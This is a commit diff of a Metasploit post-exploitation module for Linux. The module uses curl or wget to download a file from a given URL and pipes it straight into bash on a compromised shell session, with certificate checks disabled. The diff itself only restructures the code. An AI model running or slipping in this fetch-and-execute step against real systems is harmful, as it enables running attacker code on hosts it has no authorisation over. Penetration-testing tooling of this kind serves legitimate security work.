Skip to content

Commit 370f849

Browse files
author
jvazquez-r7
committed
cleanup for download_exec
1 parent 39b1ad8 commit 370f849

File tree

1 file changed

+51
-37
lines changed

1 file changed

+51
-37
lines changed

modules/post/linux/manage/download_exec.rb

Lines changed: 51 additions & 37 deletions
Original file line numberDiff line numberDiff line change
@@ -18,23 +18,37 @@ class Metasploit3 < Msf::Post
1818
include Msf::Post::File
1919
include Msf::Post::Linux::System
2020

21-
2221
def initialize(info={})
2322
super( update_info( info,
24-
'Name' => 'Linux Download Exec',
23+
'Name' => 'Linux Manage Download and Exececute',
2524
'Description' => %q{
26-
This module downloads and runs a file with bash. It first
27-
tries to uses curl as its HTTP client and then wget if it's not found. Bash
28-
found in the PATH is used to execute the file.},
25+
This module downloads and runs a file with bash. It first tries to uses curl as
26+
its HTTP client and then wget if it's not found. Bash found in the PATH is used to
27+
execute the file.
28+
},
2929
'License' => MSF_LICENSE,
30-
'Author' => [ 'Joshua D. Abraham
31-
<jabra[at]praetorian.com>', ], 'Platform' => [ 'linux' ],
32-
'SessionTypes' => [ 'shell' ]))
30+
'Author' =>
31+
[
32+
'Joshua D. Abraham <jabra[at]praetorian.com>',
33+
],
34+
'Platform' => [ 'linux' ],
35+
'SessionTypes' => [ 'shell' ]
36+
))
37+
3338
register_options(
34-
[
35-
OptString.new('URL', [true, 'Full URL of file to download.'])
36-
], self.class)
39+
[
40+
OptString.new('URL', [true, 'Full URL of file to download.'])
41+
], self.class)
42+
43+
end
3744

45+
def cmd_exec_vprint(cmd)
46+
vprint_status("Executing: #{cmd}")
47+
output = cmd_exec(cmd)
48+
if output.length > 0
49+
vprint_status("#{output}")
50+
end
51+
return
3852
end
3953

4054
def exists_exe?(exe)
@@ -50,40 +64,40 @@ def exists_exe?(exe)
5064
return false
5165
end
5266

53-
def run
54-
stdout_option = ""
67+
def search_http_client
5568
print_status("Checking if curl exists in the path...")
5669
if exists_exe?("curl")
57-
print_good("curl available, going ahead...")
58-
http_client = "curl"
59-
ssl_option = "-k"
60-
else
61-
print_warning("curl not available on the $PATH, checking for wget...")
62-
print_status("Checking if wget exists in the path...")
63-
if exists_exe?("wget")
64-
print_good("wget available, going ahead...")
65-
http_client = "wget"
66-
stdout_option = "-O-"
67-
ssl_option = "--no-check-certificate"
68-
else
69-
print_warning("neither curl nor wget available in the $PATH, aborting...")
70+
print_good("curl available, using it")
71+
@stdout_option = ""
72+
@http_client = "curl"
73+
@ssl_option = "-k"
7074
return
71-
end
7275
end
7376

74-
if datastore['URL'].match(/https/)
75-
cmd_exec_vprint("`which #{http_client}` #{stdout_option} #{ssl_option} #{datastore['URL']} 2>/dev/null | `which bash` ")
76-
else
77-
cmd_exec_vprint("`which #{http_client}` #{stdout_option} #{datastore['URL']} 2>/dev/null | `which bash` ")
77+
print_status("Checking if wget exists in the path...")
78+
if exists_exe?("wget")
79+
print_good("wget available, using it")
80+
@http_client = "wget"
81+
@stdout_option = "-O-"
82+
@ssl_option = "--no-check-certificate"
83+
return
7884
end
85+
7986
end
8087

81-
def cmd_exec_vprint(cmd)
82-
vprint_status("Executing: #{cmd}")
83-
output = cmd_exec(cmd)
84-
if output.length > 0
85-
vprint_status("#{output}")
88+
def run
89+
search_http_client
90+
91+
if not @http_client
92+
print_warning("neither curl nor wget available in the $PATH, aborting...")
93+
return
94+
end
95+
96+
if datastore['URL'].match(/https/)
97+
cmd_exec_vprint("`which #{@http_client}` #{@stdout_option} #{@ssl_option} #{datastore['URL']} 2>/dev/null | `which bash` ")
98+
else
99+
cmd_exec_vprint("`which #{@http_client}` #{@stdout_option} #{datastore['URL']} 2>/dev/null | `which bash` ")
86100
end
87-
return
88101
end
102+
89103
end

0 commit comments

Comments
 (0)